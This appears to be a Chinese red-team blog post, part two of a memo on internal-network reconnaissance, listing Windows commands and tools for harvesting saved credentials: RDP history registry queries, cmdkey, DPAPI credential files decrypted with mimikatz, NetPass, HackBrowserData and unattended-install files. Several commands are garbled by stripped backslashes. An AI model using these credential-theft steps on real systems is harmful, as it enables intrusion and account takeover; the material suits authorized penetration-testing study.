内网信息收集备忘录（下）

 Part1 前言 

大家好，我是影流团队的WuWuWu。接内网信息收集上篇，本期分享内网信息收集下篇。

 Part2 远程桌面RDP

查看在本地机器连接过的其他机器

命令（1）

regquery "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s

命令（2）

regquery "hkev_local_mahinesystemcurrentcontronlsetcontrolterminal serverwinstationsRDP-Tcp" /v portnumber 

查看本地用户此目录下是否存有RDP密码文件

dir/a %userprofile%AppDataLocalMicrosoftCredentials*

查看保存在本地的远程主机信息

cmdkey/list

举例

利用条件：使用mstsc连接的时候勾选了自动保存密码。

目标主机：192.168.27.150

跳板机:192.168.70.178

在跳板机中获取目标主机的凭据。

cmdkey/list

 Part3 查找本地的Credentials

查看本地Credentials 中存储的用户登录信息，如用户名和密码。

dir /a %userprofile%AppDataLocalMicrosoftCredentials*

 Part3 使用mimikatz进行操作

Mimikatz是一款工具，可用于提取Windows系统中存储的密码等敏感信息。

下载链接：https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919

使用dpapi::cred

获得guidMasterKey（凭据的GUID）：，

Mimikatzdpapi::cred /in:C:UsershoyimAppDataLocalMicrosoftCredentials9695A63B38C893548919492961FC317D

PS：pbData是凭据的加密数据。

使用sekurlsa::dpapi

根据上一步的guidMasterKey（凭据的GUID）获得guidMasterKey

guidMasterKey : {06d607f0-5db3-45e9-b3ab-00b8565e19ba}

解密

命令为：

dpapi::cred/in:C:UsershoyimAppDataLocalMicrosoftCredentials9695A63B38C893548919492961FC317D/masterkey:1330f77fb97f0c5b71b868cf184c750e4a1654cc89c267666315aae184f89d502a6a9997478e8794389bdaa6b7cb3b48710046e81585c13f89974e989ed41050

PS：随即获取到密码

netpass

也可以利用NETPASS直接抓取密码，使用时注意对应系统版本。

https://www.nirsoft.net/utils/network_password_recovery.html

浏览器信息

使用hack-browser-data。hack-browser-data是一款工具，用于检索和导出浏览器中存储的敏感信息，如密码和Cookie。

https://github.com/moonD4rk/HackBrowserData

其他信息

批量配置敏感信息

c:sysprep.infc:sysprepsysprep.xml%WINDIR%PantherUnattendUnattended.xml%WINDIR%PantherUnattended.xml

 Part9 END

文章中如果有错误，欢迎批评指正。下一期由BuFan，分享内网信息实战，通过外网0day进入内网，依靠信息收集，拿到2个域控，及等多个安全设备权限。

PS：主要阐明思路，涉及到保密。图会少一些。

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者及公众号不为此承担任何责任。工具来自网络，安全性自测。

原文始发于微信公众号（影流R）：内网信息收集备忘录（下）